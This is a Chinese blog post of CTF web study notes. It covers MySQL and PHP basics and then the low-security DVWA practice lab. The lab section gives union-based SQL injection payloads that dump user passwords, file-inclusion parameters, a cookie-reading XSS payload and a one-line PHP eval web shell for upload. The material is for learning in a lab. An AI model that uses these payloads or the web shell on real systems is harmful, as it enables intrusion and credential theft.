CTFweb学习笔记01

最新推荐文章于 2024-05-29 16:45:37 发布
最新推荐文章于 2024-05-29 16:45:37 发布
阅读量441 收藏
点赞数
分类专栏： 学习笔记 文章标签： 数据库 mysql php
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_45883223/article/details/108650212
版权

CTFweb学习笔记01

MySQL增删改查

增

增数据库

create database database_name character set gbk;

增表

create table table_name (column_name column_type);

增数据

insert into table_name(column1,column2...) values(value1,value2...);

insert into table_name set column1=value1,column2=value2...;

删

删数据库

drop database database_name;

删表

drop table table_name;

删数据

delete from table_name where columnx=valuex

改

改表

alter table table_name1 rename table_name2;

改数据

update table_name set column1=value1，column2=value2 where id=x;

查

select column1,column2... from table_name where id=x;

可使用星号（*）来代替字段，SELECT语句会返回表的所有字段数据；可以使用 WHERE 语句来包含任何条件。

PHP

MySQLi

连接

在小皮面板设置好数据库名，用户名和密码

在这里插入图片描述
在phpstudy的WWW的某目录下新建php文件

<?php
$servername = "localhost";
$username = "handy";
$password = "123456";
// 创建连接(面向过程)
$conn = mysqli_connect($servername, $username, $password);
// 检测连接
if (!$conn) {
    die("Connection failed: " . mysqli_connect_error());
}
// 创建连接(面向对象)
//$conn = new mysqli($servername, $username, $password); 
// 检测连接
//if ($conn->connect_error) {
//    die("连接失败: " . $conn->connect_error);
//}
echo "连接成功";
?>

访问对应目录的url

在这里插入图片描述

创建数据库

在上面代码基础上添加如下代码：

// 创建数据库(面向过程)
$sql = "CREATE DATABASE myDB";
if (mysqli_query($conn, $sql)) {
    echo "数据库创建成功";
} else {
    echo "Error creating database: " . mysqli_error($conn);
}
mysqli_close($conn);
// 创建数据库(面向对象)
//if ($conn->query($sql) === TRUE) {
//    echo "数据库创建成功";
//} else {
//    echo "Error creating database: " . $conn->error;
//}
//$conn->close();

访问网页发现报错
在这里插入图片描述登录phpMyAdmin发现handy用户无权限所以无法新建数据库

在这里插入图片描述
进入mysql的目录用cmd以root用户登录

mysql -u root -p

给handy用户添加访问和操作权限

grant all privileges on *.* to handy@localhost identified by "123456";
grant all privileges on *.* to handy@localhost identified by "123456" WITH GRANT OPTION;

再访问发现
在这里插入图片描述
登录phpMyAdmin发现myDB数据库的确新建成功

在这里插入图片描述

创建数据表

改动如下：

$dbname = "myDB";
$conn = mysqli_connect($servername, $username, $password, $dbname);
$sql = "CREATE TABLE MyGuests (
id INT(6) UNSIGNED AUTO_INCREMENT PRIMARY KEY, 
firstname VARCHAR(30) NOT NULL,
lastname VARCHAR(30) NOT NULL,
email VARCHAR(50),
reg_date TIMESTAMP
)";

在这里插入图片描述
在这里插入图片描述

插入数据

$sql = "INSERT INTO MyGuests (firstname, lastname, email)
VALUES ('John', 'Doe', 'john@example.com')";

在这里插入图片描述在这里插入图片描述
插入多条数据时每个$sql的最后一个双引号前面都要加分号，mysqli_query改为mysqli_multi_query

读取数据

//面向过程
$sql = "SELECT id, firstname, lastname FROM MyGuests";
$result = mysqli_query($conn, $sql);
 
if (mysqli_num_rows($result) > 0) {
    // 输出数据
    while($row = mysqli_fetch_assoc($result)) {
        echo "id: " . $row["id"]. " - Name: " . $row["firstname"]. " " . $row["lastname"]. "<br>";
    }
} else {
    echo "0 结果";
}
//面向对象
// $sql = "SELECT id, firstname, lastname FROM MyGuests";
// $result = $conn->query($sql);
 
// if ($result->num_rows > 0) {
//     // 输出数据
//     while($row = $result->fetch_assoc()) {
//         echo "id: " . $row["id"]. " - Name: " . $row["firstname"]. " " . $row["lastname"]. "<br>";
//     }
// } else {
//     echo "0 结果";
// }

在这里插入图片描述

文件上传

<?php
// 允许上传的图片后缀
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
echo $_FILES["file"]["size"];
$extension = end($temp);     // 获取文件后缀名
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/jpg")
|| ($_FILES["file"]["type"] == "image/pjpeg")
|| ($_FILES["file"]["type"] == "image/x-png")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800)   // 小于 200 kb
&& in_array($extension, $allowedExts))
{
	if ($_FILES["file"]["error"] > 0)
	{
		echo "错误：: " . $_FILES["file"]["error"] . "<br>";
	}
	else
	{
		echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
		echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
		echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
		echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"] . "<br>";
		
		// 判断当期目录下的 upload 目录是否存在该文件
		// 如果没有 upload 目录，你需要创建它，upload 目录权限为 777
		if (file_exists("upload/" . $_FILES["file"]["name"]))
		{
			echo $_FILES["file"]["name"] . " 文件已经存在。 ";
		}
		else
		{
			// 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
			move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
			echo "文件存储在: " . "upload/" . $_FILES["file"]["name"];
		}
	}
}
else
{
	echo "非法的文件格式";
}
?>

explode()

使用一个字符串分割另一个字符串，并返回由字符串组成的数组。

end()

将内部指针指向数组中的最后一个元素，并输出。

in_array()

搜索数组中是否存在指定的值。

file_exists()

检查文件或目录是否存在。

move_uploaded_file()

将上传的文件移动到新位置。

DVWA(low)

SQL注入

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Get values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    mysql_close();
}

?>

字符型

1' order by 1# 
#爆列数
1' order by 2#
1' order by 3# 
#有报错说明只有两列
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
#爆表名：guestbook,users
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
#爆列名：user_id,first_name,last_name,user,password,avatar,last_login,failed_login
1' union select user,password from users#
#查询数据

文件包含

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>

服务器端对page参数没有做任何的过滤跟检查。
服务器包含文件时，不管文件后缀是否是php，都会尝试当做php文件执行。如果文件内容确为php，则会正常执行并返回结果。如果不是，则会原封不动地打印文件内容，所以文件包含漏洞常常会导致任意文件读取与任意命令执行。

本地

?page=xxx.txt

远程

当服务器的php配置中，选项allow_url_fopen与allow_url_include为开启状态时，服务器会允许包含远程服务器上的文件，如果对文件来源没有检查的话，就容易导致任意远程代码执行。

?page=https://xxx/xxx.php

XSS

Reflected

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

Stored

 <?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = mysql_real_escape_string( $message );

    // Sanitize name input
    $name = mysql_real_escape_string( $name );

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    //mysql_close();
}

?>

<script>alert(document.cookie)</script>

文件上传

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>";
    }
}

?> 

<?php   @eval($_POST['handy']);  ?>
WustHandy
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
hive根据已有表创建新表_数据库知识总结—(八)数据库&表的CRUD
weixin_39669638的博客
12-28 594
一.创建表本节用到的表结构如下：customers表vendors表orderitems表一般有两种创建表的方法：使用具有交互式创建和管理表的工具；或者直接用MySQL语句操纵。（1）表创建基础 为利用create table创建表，必须给出下列信息：（一）新表的名字，在create table之后给出。（二）表列的名字和定义，用逗号隔开。//创建顾客信息表 Create table custo...
hive根据已有表创建新表_Hive 架构
weixin_30117665的博客
12-24 629
前言下图展示了 Hive 的组成以及 Hive 和 Hadoop 的交互。Hive 组件UI： 用户提交查询语句以及其它管理操作的入口 ( command line )Driver： 接收用户提交的查询语句，与 Compiler 创建会话连接。Compiler： 对查询语句进行语义分析并生成执行计划Metastore: 元数据库，存储表的结构信息，分区信息以及与 HDFS 文件的关联信息。Exec...
【CTF-Web】XXE学习笔记（附ctfshow例题）
最新发布
jayq1的博客
05-29 1007
XXE学习笔记
Hive中根据已有的表创建一张新表
早拾碗吧的博客
01-08 1548
仅创建表结构 create table newtable like oldtable; 既创建了表结构又复制了旧表的数据 -- 方式1： select * into newtable from oldtable; -- 方式2： create table newtable as select * from oldtable;
Hive基础之创建表
xjjdlut的专栏
02-26 468
hive创建表的语法参考如下网址：Create/Drop/Truncate Table 1.创建基础表 在这个网页里详细记录了创建表的每个语法，下面就一一来看这些创建表的语法内容： CREATE TABLE [IF NOT EXISTS] [db_name.]table_name ``[(col_name data_type [COMMENT col_comment], ... [c...
hive根据已有表创建新表_Hive中新建表
weixin_39598941的博客
12-29 1132
最基本的建表语句：create table student(id string comment '学号',name string comment '姓名',sex string comment '性别',age string comment '年龄') comment '学生表';show create table student;CREATE TABLE `student`(`id` strin...
CTF Web学习笔记
01-11
CTF Web学习笔记，包含杂项和WEB两部分，包含杂项简介，WEB知识点总结以及Web常用套路总结。
CTF线下AWD脚本合集.zip
03-31
8. **教程和笔记**：可能包含了一些关于CTF比赛策略、攻防技巧和常见漏洞利用的文档或教程。 使用这个合集，新手可以快速学习到网络攻防的基本操作，理解CTF比赛中的攻防逻辑，而经验丰富的选手则可以通过其中的...
算法笔记·上机训练实战指南
04-07
《算法笔记·上机训练实战指南》是一本专注于C语言编程和算法实践的教程，特别适合准备考研机试、PAT(编程能力测试)以及CTF(网络安全竞赛)的读者。这本书由胡凡编著，提供了丰富的算法实例和实战训练，旨在帮助读者...
CTF撰写
02-28
CTF（Capture The Flag）是一种网络安全竞赛，参赛者通过解决各种安全挑战来获取虚拟“国旗”，这些挑战通常涉及逆向工程、密码学、Web安全、取证分析等多个领域。"CTF撰写"通常指的是参赛者或安全专家在比赛后对...
CTF用的各种脚本，各类古典加解密的脚本，RSA常用脚本，SQL盲注脚本，编码加解密神器
12-29
在网络安全领域，CTF...通过学习和实践这些脚本，你可以提升在CTF比赛中的表现，同时对网络安全有更深入的理解。记住，安全领域强调实战经验，所以不仅要理论学习，更要动手操作，才能在面对实际挑战时游刃有余。
hive元数据生成建表语句
01-26
可以从hive元数据生成建表语句的资源。包括表结构、分区等信息
数据仓库分层
wzj_wp的博客
01-10 780
数据仓库&数据集市 数据仓库 数据仓库，英文名称为Data Warehouse，可简写为DW或DWH。数据仓库，是为企业所有级别的决策制定过程，提供所有类型数据支持的战略集合。它是单个数据存储，出于分析性报告和决策支持目的而创建。 为需要业务智能的企业，提供指导业务流程改进、监视时间、成本、质量以及控制 简单来说就是一堆数据集合（log型和db型）的整合处理，，挖掘有效价值，提供决策支...
hive根据已有表创建新表_hive学习----Hive表的创建
weixin_39552538的博客
12-19 753
正文库操作1、创建库语法结构CREATE (DATABASE|SCHEMA) [IF NOT EXISTS] database_name[COMMENT database_comment]　　　　　　//关于数据块的描述[LOCATION hdfs_path]　　　　　　　　　　//指定数据库在HDFS上的存储位置[WITH DBPROPERTIES (property_name=property...
hive中快速建一张表结构一样的表
qq_40302627的博客
07-21 1533
1：假设仓库的ads中有一张表a，我想在ods层建一张和表a的表结构一样的表b 2.create table ods.b row format delimited fields terminated by ‘\001’ stored as parquet as select * from ads.a where 1=2; 3.优点： 快速，不需要手动创建，字段类型一样，可以修改分隔符个存储格式 4.缺点： 创建目标表的时候不支持分区 5.解决方案–自己写脚本建表 #!/bin/bash table_name
dataframe pandas 取得当前时间段的后一个时间点数据
a5601564的博客
09-28 2236
数据从星期一到星期五的日线数据形成周线数据，然后想定位到所对应的周线数据的情况，就可以通过 backfill参数实现。 data_day_df.index.get_loc(current_kline.open_time, method='backfill') open_time为当前的日线级数据。运算后得到周线数据。 ...
hive内部表与外部表入门
鸭梨的博客
12-27 293
表分类 在Hive中,表类型主要分为两种, 第一种：内部表 也叫管理表 表目录会创建在集群上的{hive.metastore.warehouse.dir}下的相应的库对应的目录中。 默认创建的表就是内部表 第二种：外部表 外部表需要使用关键字"external"， 外部表会根据创建表时LOCATION指定的路径来创建目录， 如果没有指定LOCATION，则位置跟内部表相同,一般使用的是第三方提供的或者公用的数据。 建表语法：必须指定关键字external。 create external table
hive根据已有表创建新表_hive建表并load数据小结
weixin_39624360的博客
12-19 250
一、建表的时候要指明分隔符hive建表时默认的分隔符是'\001',若在建表的时候没有指明分隔符，load文件的时候文件的分隔符需要是'\001'的，若文件分隔符不是'\001'，程序不会报错，但表查询的结果会全部为'NULL'，如何制作分隔符为'\001'的测试文件用vi编辑器Ctrl+v然后Ctrl+a就可以通过键盘输入'\001'也可以在建表的时候指明分隔符为制表符，然后测试文件用excel...
不同集群 hive 表结构 重新创建
mnasd的博客
04-17 391
导出表结构 #/bin/bash #hive -e" #show databases; #"&gt;databases.txt #sed -i '1d' databases.txt for database in `cat databases.txt` do echo database-------------- ${database} # hive -e "use ${database};" ...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值